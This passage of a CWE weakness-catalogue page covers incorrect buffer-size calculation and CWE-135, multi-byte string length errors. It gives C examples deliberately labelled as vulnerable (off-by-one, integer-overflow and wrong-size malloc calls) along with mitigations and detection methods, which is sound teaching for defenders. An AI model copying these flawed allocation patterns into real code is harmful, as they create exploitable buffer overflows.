ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability
Confidentiality

Technical Impact: DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands; Read Memory; Modify Memory

If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

(bad code)
Example Language:
int i;
unsigned int numWidgets;
Widget **WidgetList;

numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2

The following image processing code allocates a table for images.

(bad code)
Example Language:
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 3

This example applies an encoding procedure to an input string and stores it into a buffer.

(bad code)
Example Language:
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){

/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4

The following code is intended to read an incoming packet from a socket and extract one or more headers.

(bad code)
Example Language:
DataPacket *packet;
int numHeaders;
PacketHeader *headers;

sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;

if (numHeaders > 100) {
ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 5

The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().

(bad code)
Example Language:
int *id_sequence;

/* Allocate space for an array of three ids. */


id_sequence = (int*) malloc(3);
if (id_sequence == NULL) exit(1);

/* Populate the id array. */


id_sequence[0] = 13579;
id_sequence[1] = 24680;
id_sequence[2] = 97531;

The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id_sequence[0] and would continue with the assignment of id_sequence[1] and id_sequence[2].

The malloc() call could have used '3*sizeof(int)' as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

+ Observed Examples
ReferenceDescription
Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.
substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed
substitution overflow: buffer overflow using expansion of environment variables
substitution overflow: buffer overflow using a large number of substitution strings
transformation overflow: product adds extra escape characters to incoming data, but does not account for them in the buffer length
transformation overflow: buffer overflow when expanding ">" to "&gt;", etc.
expansion overflow: buffer overflow using wildcards
expansion overflow: long pathname + glob = overflow
expansion overflow: long pathname + glob = overflow
special characters in argument are not properly expanded
small length value leads to heap overflow
multiple variants
needs closer investigation, but probably expansion-based
needs closer investigation, but probably expansion-based
Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression.
+ Potential Mitigations

Phase: Implementation

When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&amp;" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.

Phase: Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]

Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Phase: Implementation

Strategy: Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

Phase: Implementation

When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131). Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion issues are still possible.

Phase: Implementation

Use sizeof() on the appropriate data type to avoid CWE-467.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify validation and will reduce surprises related to unexpected casting.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Strategy: Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Note: Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Source Code Quality Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.974SFP Secondary Cluster: Incorrect Buffer Length Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This is a broad category. Some examples include:

  • simple math errors,
  • incorrectly updating parallel counters,
  • not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion").

This level of detail is rarely available in public reports, so it is difficult to find good examples.

Maintenance

This weakness may be a composite or a chain. It also may contain layering or perspective differences.

This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROther length calculation error
CERT C Secure CodingINT30-CImpreciseEnsure that unsigned integer operations do not wrap
CERT C Secure CodingMEM35-CCWE More AbstractAllocate sufficient memory for an object
+ References
[REF-106] David LeBlanc and Niels Dekker. "SafeInt". <http://safeint.codeplex.com/>.
[REF-107] Jason Lam. "Top 25 Series - Rank 18 - Incorrect Calculation of Buffer Size". SANS Software Security Institute. 2010-03-19. <http://software-security.sans.org/blog/2010/03/19/top-25-series-rank-18-incorrect-calculation-of-buffer-size>.
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. URL validated: 2023-04-07.
[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.
[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 20, "Integer Overflows" Page 620. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Incrementing Pointers Incorrectly", Page 401. 1st Edition. Addison Wesley. 2006.
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.
[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.
[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. URL validated: 2023-04-26.
[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.
[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.
[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.
[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008. <https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. URL validated: 2023-04-26.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Maintenance_Notes, Relationships, Taxonomy_Mappings, Type
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Maintenance_Notes, Potential_Mitigations, Related_Attack_Patterns, Relationships
2010-04-05CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Maintenance_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Demonstrative_Examples
2013-07-17CWE Content TeamMITRE
updated References
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, References, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Other Length Calculation Error

CWE-135: Incorrect Calculation of Multi-Byte String Length

Weakness ID: 135
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not correctly calculate the length of strings that can contain wide or multi-byte characters.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.133String Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation

There are several ways in which improper string length checking may result in an exploitable condition. All of these, however, involve the introduction of buffer overflow conditions in order to reach an exploitable state.

The first of these issues takes place when the output of a wide or multi-byte character string, string-length function is used as a size for the allocation of memory. While this will result in an output of the number of characters in the string, note that the characters are most likely not a single byte, as they are with standard character strings. So, using the size returned as the size sent to new or malloc and copying the string to this newly allocated memory will result in a buffer overflow.

Another common way these strings are misused involves the mixing of standard string and wide or multi-byte string functions on a single string. Invariably, this mismatched information will result in the creation of a possibly exploitable buffer overflow condition.

+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.
Availability
Confidentiality

Technical Impact: Read Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Confidentiality

Technical Impact: Read Memory

In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.
+ Demonstrative Examples

Example 1

The following example would be exploitable if any of the commented incorrect malloc calls were used.

(bad code)
Example Language:
#include <stdio.h>
#include <strings.h>
#include <wchar.h>

int main() {

wchar_t wideString[] = L"The spazzy orange tiger jumped " \
"over the tawny jaguar.";
wchar_t *newString;

printf("Strlen() output: %d\nWcslen() output: %d\n",
strlen(wideString), wcslen(wideString));

/* Wrong because the number of chars in a string isn't related to its length in bytes //
newString = (wchar_t *) malloc(strlen(wideString));
*/

/* Wrong because wide characters aren't 1 byte long! //
newString = (wchar_t *) malloc(wcslen(wideString));
*/

/* Wrong because wcslen does not include the terminating null */
newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));

/* correct! */
newString = (wchar_t *) malloc((wcslen(wideString) + 1) * sizeof(wchar_t));

/* ... */
}

The output from the printf() statement would be:

(result)
 
Strlen() output: 0
Wcslen() output: 53
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Always verify the length of the string unit character.

Phase: Implementation

Strategy: Libraries or Frameworks

Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar_t, etc.)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.974SFP Secondary Cluster: Incorrect Buffer Length Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPImproper string length checking
The CERT Oracle Secure Coding Standard for Java (2011)FIO10-JEnsure the array is filled when using read() to fill an array
Software Fault PatternsSFP10Incorrect Buffer Length Computation
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Unicode and ANSI Buffer Size Mismatches" Page 153. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
